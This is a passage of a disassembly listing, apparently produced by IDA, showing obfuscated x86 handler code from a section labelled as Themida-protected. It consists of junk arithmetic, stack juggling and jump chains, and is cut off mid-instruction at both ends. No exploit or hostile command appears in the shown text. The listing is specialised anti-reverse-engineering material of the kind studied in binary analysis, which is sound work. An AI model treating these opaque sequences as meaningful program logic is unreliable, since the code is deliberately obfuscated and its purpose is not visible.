[esp+4+var_4] pop eax push 6F3Ch mov [esp+8+var_8], ebp mov ebp, esp jmp loc_5642B6 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_5749DE: ; CODE XREF: sub_56638C-3D1Bj add edx, 4 jmp loc_56ED81 ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD61 loc_5749E9: ; CODE XREF: sub_56BD61+4j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56BD61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_5749EE: ; CODE XREF: sub_569AB3+588Bj xchg ebp, [esp+18h+var_18] mov esp, [esp+18h+var_18] mov [esp-4+arg_0], eax push edx jmp sub_5716F1 ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_5749FD: ; CODE XREF: sub_569193+6051j add esp, 4 xor edx, [esp+0Ch+var_C] jmp loc_565C6B ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_574A08: ; CODE XREF: sub_563A7F+D27Bj add bl, dl add bl, 3 pop edx push eax mov al, 79h add bl, 9Dh jmp loc_5754E9 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_574A19: ; CODE XREF: sub_574656-9426j xchg ebp, [esp+14h+var_14] jmp loc_5717E9 ; END OF FUNCTION CHUNK FOR sub_574656 ; =============== S U B R O U T I N E ======================================= sub_574A21 proc near ; DATA XREF: Themida_:0055FF4Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056064E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00560F6A SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005616F2 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00561CD4 SIZE 0000005F BYTES ; FUNCTION CHUNK AT 00561ED9 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00562906 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00562AE0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00562FE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005630FA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056316A SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00563C2E SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00566B94 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566EC9 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005675FB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00567B2F SIZE 00000041 BYTES ; FUNCTION CHUNK AT 00567BDB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00567F78 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00567FD8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005682E5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056838D SIZE 00000033 BYTES ; FUNCTION CHUNK AT 005684CA SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005688F7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056891A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568A91 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568CB3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00569247 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00569280 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00569808 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056A51B SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056D14E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056DB1A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056E5F0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056E730 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056ED61 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00570AA9 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00570B2A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005753D7 SIZE 0000000D BYTES lodsd push ebp mov ebp, 6E105898h sub eax, 682F4722h add eax, ebp jmp loc_567BDB sub_574A21 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_574A34: ; CODE XREF: sub_57354D-1FE7j xor edx, 2B143F4Ah sub ecx, edx pop edx xchg ecx, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+8+var_8], edx push 10000h jmp loc_56ED0B ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_574A50: ; CODE XREF: sub_56B06D-7866j pop esp push ebx push 79842F9Ah pop ebx xor ebx, 0FFA1E02h push eax jmp loc_565C80 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_574A64: ; CODE XREF: sub_561418-126Dj mov ecx, 0D815C13h and ecx, 71877C32h jmp loc_56EE46 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_574A74: ; CODE XREF: sub_5685B2+313Ej mov ebx, [esp-14h+arg_10] add esp, 4 push 7825h mov [esp-14h+arg_10], edx mov edx, esp push 68Fh mov [esp-10h+arg_C], ebx push 4EFF5A4Eh pop ebx jmp loc_563F95 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_574A9A: ; CODE XREF: sub_566AF9-6600j sar word ptr [esp+0], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_566AF9 ; --------------------------------------------------------------------------- loc_574AA4: ; CODE XREF: Themida_:0056A3A4j or ebp, 7D835DDFh xor ebp, 0B706AD0Ch jmp loc_563102 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_574AB5: ; CODE XREF: sub_573612+7E0j add ebx, 3C920A05h add ebx, eax sub ebx, 3C920A05h sub esp, 4 mov [esp+0Ch+var_C], edi push esi jmp loc_572FFF ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- loc_574ACF: ; CODE XREF: Themida_:0056313Cj mov edx, esp jmp loc_575394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_574AD6: ; CODE XREF: sub_574304-6A5Dj sub ecx, 0B175EA86h sub ebp, ecx pop ecx add edx, ebp jmp loc_564AB3 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_574AE6: ; CODE XREF: sub_56241E+5j push edx push ebx push small 4D09h pop bx jmp loc_561460 ; END OF FUNCTION CHUNK FOR sub_56241E ; =============== S U B R O U T I N E ======================================= sub_574AF3 proc near ; DATA XREF: Themida_:0055FDFCo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005621C0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005635AE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00566A84 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00567037 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056812B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00568B93 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0056914F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056AF63 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570834 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00572AA0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00572BF7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0057425F SIZE 00000010 BYTES push dword ptr [esp+0] mov ecx, [esp+4+var_4] push eax jmp loc_566A84 sub_574AF3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_574AFF: ; CODE XREF: sub_56616D+8656j add ebp, 4 jmp sub_570E27 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_574B0A: ; CODE XREF: sub_570732-83CAj push ecx mov ecx, 2A7A4985h jmp loc_573CCD ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_574B15: ; CODE XREF: sub_564D26+838Cj mov edi, 7481647Bh add ebp, edi jmp loc_56DC75 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_574B21: ; CODE XREF: sub_5678CB+834Ej or ebx, 13AA230Dh push edx mov edx, 3D52457Ah xor ebx, edx pop edx or edx, ebx pop ebx shr edx, 6 add edx, 0FEA40B49h add ebx, edx pop edx push edi mov edi, 2 add ebx, edi pop edi xchg ebx, [esp+0Eh+var_E] jmp loc_5743A7 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_574B50: ; CODE XREF: sub_574F16-357j push ecx sub esp, 4 mov [esp+0Ch+var_E+2], edx push ebx mov bl, al jmp loc_5657BB ; --------------------------------------------------------------------------- loc_574B62: ; CODE XREF: sub_574F16-4A9Aj xchg eax, [esp+0Ah+var_A] pop esp xor ch, bh mov ebx, [esp+6+var_6] jmp loc_56A1EE ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_574B70: ; CODE XREF: sub_5690E8-714j xor [esp+8+var_8], eax xor eax, [esp+8+var_8] mov esp, [esp+8+var_8] movsx cx, al push small 2E51h mov [esp+0], cx jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5690E8 ; =============== S U B R O U T I N E ======================================= sub_574B8A proc near ; CODE XREF: sub_56D0B7+46D6j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056AFD5 SIZE 0000001D BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] jmp loc_56AFD5 sub_574B8A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_574B9E: ; CODE XREF: sub_574F16-10B5j xor bl, al sub esp, 4 mov [esp+4+var_6+2], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+4+var_6+2] pop esp mov [esp+0], ecx push ebx jmp loc_574B50 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_574BC4: ; CODE XREF: sub_571088-AAD8j push esi jmp loc_573150 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_574BCA: ; CODE XREF: sub_5666C3+12C7j xor ecx, 662FD1ACh sub eax, ecx jmp loc_562F52 ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_574BD7: ; CODE XREF: sub_567CF5+745Cj pop esp shl byte ptr [esp-4+arg_0], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_574BE1: ; CODE XREF: sub_571C0A-C257j sub ebx, ebp pop ebp add esi, ebx pop ebx xchg esi, [esp+0] pop esp ; END OF FUNCTION CHUNK FOR sub_571C0A ; START OF FUNCTION CHUNK FOR sub_567D31 loc_574BEB: ; CODE XREF: sub_567D31-21ECj push 635Ch jmp loc_569A44 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C21 loc_574BF5: ; CODE XREF: sub_561C21+1353Aj xor ch, 8 shl ch, 4 shl ch, 6 jmp loc_56EC45 ; END OF FUNCTION CHUNK FOR sub_561C21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567049 loc_574C03: ; CODE XREF: sub_567049-431Ej pop edx add ebp, 4 xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] mov esp, [esp+0] pop [esp-0Ch+arg_4] sub esp, 4 mov [esp-0Ch+arg_4], ebp push 1391h mov [esp-8+arg_0], ebx pop ebp push [esp-0Ch+arg_4] pop ebx push esi mov esi, esp add esi, 4 jmp loc_560C7C ; END OF FUNCTION CHUNK FOR sub_567049 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_574C3A: ; CODE XREF: sub_564D26+F8D3j xor edx, [esp+0] jmp loc_56A54A ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_574C42: ; CODE XREF: sub_571088-EDFCj add esi, 4 sub esi, 4 xchg esi, [esp+0Ch+var_E+2] pop esp mov [esp+8+var_8], edx mov dh, 66h shr dh, 4 push 4D5Ch mov [esp+0Ch+var_E+2], ebx jmp loc_565ECF ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A423 loc_574C67: ; CODE XREF: sub_56A423-864Cj pop esi jmp loc_56C95D ; END OF FUNCTION CHUNK FOR sub_56A423 ; =============== S U B R O U T I N E ======================================= sub_574C6D proc near ; CODE XREF: sub_5683C0+272Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005634BF SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056AD1A SIZE 00000014 BYTES push ebx mov ebx, 0F14224Eh jmp loc_5634BF sub_574C6D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_574C78: ; CODE XREF: sub_561418+1464j pop esi push ebx mov ebx, 4 add esi, 30C3134Ah add esi, ebx jmp loc_56CA11 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_574C8C: ; CODE XREF: sub_563A7F+7DD5j mov ebx, [esp+0Ah+var_C+2] add esp, 4 not ebx add ebx, 8C35B234h mov ecx, ebx mov ebx, [esp+6+var_8+2] push ebx jmp loc_565E64 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B310 loc_574CA8: ; CODE XREF: sub_56B310+15j push edi mov edi, 1A382947h xor ebp, edi pop edi mov eax, ebp mov ebp, [esp+4+var_4] add esp, 4 jmp loc_567AD4 ; END OF FUNCTION CHUNK FOR sub_56B310 ; =============== S U B R O U T I N E ======================================= sub_574CBE proc near ; DATA XREF: Themida_:0055FE28o var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005636EC SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00563E57 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00564842 SIZE 00000052 BYTES ; FUNCTION CHUNK AT 00564CC0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00569AA3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056A929 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056AEDE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056B859 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056CBC6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056CED2 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0056EB15 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0056EEBE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005725F9 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00572639 SIZE 00000008 BYTES lodsd jmp loc_5636EC sub_574CBE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_574CC4: ; CODE XREF: sub_563A7F+7407j dec cl push dx push eax jmp loc_573491 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569D5F loc_574CCE: ; CODE XREF: sub_569D5F+6BFj add al, dl push ecx mov cl, 57h jmp loc_56AAA2 ; END OF FUNCTION CHUNK FOR sub_569D5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE4B loc_574CD8: ; CODE XREF: sub_56AE4B+148Aj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56AE4B ; =============== S U B R O U T I N E ======================================= sub_574CDD proc near ; CODE XREF: sub_564BD0+23j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00560A09 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00560F3E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056362B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00563897 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005643F1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005656D9 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00567924 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00567C9E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005693D1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056A4F5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056BDC5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056DB9D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056DE0B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056DEDD SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0056EB58 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F5DD SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00573C2B SIZE 00000033 BYTES sub esp, 4 mov [esp+4+var_4], eax jmp loc_560F3E sub_574CDD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_574CE8: ; CODE XREF: sub_561027+12251j pop esi xor edi, 3C5E6C49h push esi mov esi, 710E391Bh jmp loc_567019 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1F0 loc_574CFA: ; CODE XREF: sub_56F1F0-82A0j dec ebp add ebp, 0C3899866h jmp loc_562931 ; END OF FUNCTION CHUNK FOR sub_56F1F0 ; --------------------------------------------------------------------------- loc_574D06: ; CODE XREF: Themida_:0056730Bj mov ebx, [esp] add esp, 4 jmp loc_56BA60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_574D14: ; CODE XREF: sub_5733CA+Fj and ebp, 7F7722F0h shr ebp, 2 jmp loc_570E92 ; END OF FUNCTION CHUNK FOR sub_5733CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_574D22: ; CODE XREF: sub_568E5C-6B76j not edx xor edx, 6CD75109h dec edx sub edx, 0D7013C42h sub ebx, edx jmp loc_56C127 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57377E loc_574D38: ; CODE XREF: sub_57377E+19j mov esi, edx pop edx push 0E607E126h pop ebp push ecx mov ecx, 3634797h add ebp, ecx pop ecx sub ebp, 359525EFh add ebp, esi add ebp, 359525EFh jmp loc_5611C6 ; END OF FUNCTION CHUNK FOR sub_57377E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_574D5D: ; CODE XREF: sub_5678CB+B2EFj sub al, dl pop dx jmp loc_560197 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_574D66: ; CODE XREF: sub_56C83E+21C2j dec ebx push ebp mov ebp, 39566A2Fh jmp loc_56435A ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_574D72: ; CODE XREF: sub_57549C-3E01j add eax, 4 sub eax, 4 xchg eax, [esp+0Ch+var_C] jmp loc_561BA4 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575315 loc_574D82: ; CODE XREF: sub_575315-E422j mov esp, [esp-4+arg_0] dec word ptr [esp-4+arg_0] pushf jmp loc_567B70 ; END OF FUNCTION CHUNK FOR sub_575315 ; =============== S U B R O U T I N E ======================================= sub_574D8F proc near ; CODE XREF: sub_563819-20B7j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056A920 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056BCCC SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056D2AB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0057357D SIZE 00000023 BYTES push ebp push ebx push 1FE86997h pop ebx not ebx add ebx, 1FE8699Ch mov ebp, ebx push [esp+8+var_8] push [esp+0Ch+var_C] jmp loc_57357D sub_574D8F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_574DAC: ; CODE XREF: sub_563FA2+6D6Bj add esp, 4 xchg esi, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp-4+arg_0], esi push ecx jmp loc_5695DD ; END OF FUNCTION CHUNK FOR sub_563FA2 ; =============== S U B R O U T I N E ======================================= sub_574DC1 proc near ; DATA XREF: Themida_:0055FE74o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560356 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005618B2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005658EC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566653 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056724C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005684E3 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056B3EF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056C322 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00570787 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00574F40 SIZE 00000040 BYTES lodsd push 6D81h mov [esp+4+var_4], ebp push 37E73747h jmp loc_570787 sub_574DC1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_574DD4: ; CODE XREF: sub_57354D-992Dj push 6E4Ch mov [esp+4+var_4], ebp mov ebp, 4C3878E7h push eax mov eax, 3DAD5532h shl eax, 6 xor eax, 4ECE2036h add eax, 742B26h jmp loc_562703 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_574DF9: ; CODE XREF: sub_560EA2+A963j add ebp, 7946D0D2h or ebp, 56F10355h xor ebp, 2B1126EEh and ebp, 4ABF0970h add ebp, 459E75B0h add ebp, 0F28BE8F5h sub eax, ebp pop ebp sub eax, 9846C03h jmp loc_57436C ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_574E2A: ; CODE XREF: sub_574304-B332j push 4A110340h pop ebp shl ebp, 2 xor ebp, 38D70E15h jmp loc_5710B9 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_574E3E: ; CODE XREF: sub_568E5C-48FBj mov ebp, [esp+0] jmp loc_571D43 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_574E46: ; CODE XREF: sub_56351E+11DF2j mov edi, ecx jmp loc_56AAF2 ; END OF FUNCTION CHUNK FOR sub_56351E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_574E4D: ; CODE XREF: sub_56FA15-84C7j push eax mov al, 0E2h mov dl, 0F1h jmp loc_5718F9 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_574E57: ; CODE XREF: sub_5690E8+3F03j mov edx, 0FFFFFFFFh sub eax, edx pop edx add eax, 0A030FF4h sub eax, 291A0535h shl eax, 8 xor eax, 434E5A35h xor eax, 84D68185h mov ecx, eax pop eax neg ecx push eax mov eax, 7B2A7B21h or eax, 6AA96485h shl eax, 5 jmp loc_57386C ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5731F9 loc_574E8E: ; CODE XREF: sub_5731F9-107A3j sub byte ptr [esp+4+var_4], bl mov bl, byte ptr [esp+4+var_4] jmp sub_5638E4 ; END OF FUNCTION CHUNK FOR sub_5731F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_574E99: ; CODE XREF: sub_569DB5-6C17j push esi mov esi, 1E1909DEh sub esi, 727A5F7Bh xor esi, 0AB9EAA67h sub ebp, 56D25D86h sub ebp, 62D83B92h add ebp, esi add ebp, 62D83B92h push edx mov edx, 6C537046h xor edx, 3A812DC0h add ebp, edx jmp loc_571AAB ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_574ED2: ; CODE XREF: sub_5685B2-4E25j pop ecx dec ebp shl ebp, 5 and ebp, 13B76241h sub ebp, 0D5EAB50Bh jmp loc_5637DE ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_574EE8: ; CODE XREF: sub_571890-FDA6j mov [esp+8+var_8], esi mov esi, esp add esi, 4 push edx mov edx, 4 jmp loc_56F355 ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_574EFE: ; CODE XREF: sub_569CBC-6856j mov esp, [esp+4+var_4] mov [esp+0], ebx mov ebx, esp jmp loc_566CE2 ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56264C loc_574F0B: ; CODE XREF: sub_56264C+1j sub eax, 637F576Dh push esi jmp loc_56984D ; END OF FUNCTION CHUNK FOR sub_56264C ; =============== S U B R O U T I N E ======================================= sub_574F16 proc near ; DATA XREF: Themida_:0055FD40o var_12 = dword ptr -12h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = dword ptr -6 var_2 = word ptr -2 ; FUNCTION CHUNK AT 0056015D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00561B1A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00562498 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005628FD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00563532 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005657BB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00566506 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056683D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056694D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00566B50 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00567358 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00568992 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00568E37 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569438 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056A005 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A1EE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056B6A5 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056C618 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056D4FB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056DE6B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056F860 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00570474 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005706FE SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005724D3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00573E58 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0057400C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0057451A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00574B50 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00574B9E SIZE 00000026 BYTES lodsb xor al, bl jmp loc_56015D sub_574F16 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_574F1E: ; CODE XREF: sub_5687A3+7103j push edi mov edi, 5396068h add ebx, edi pop edi xor ecx, ebx pop ebx sub ebp, 73EB6D1Bh add ebp, ecx push esi push edx mov edx, 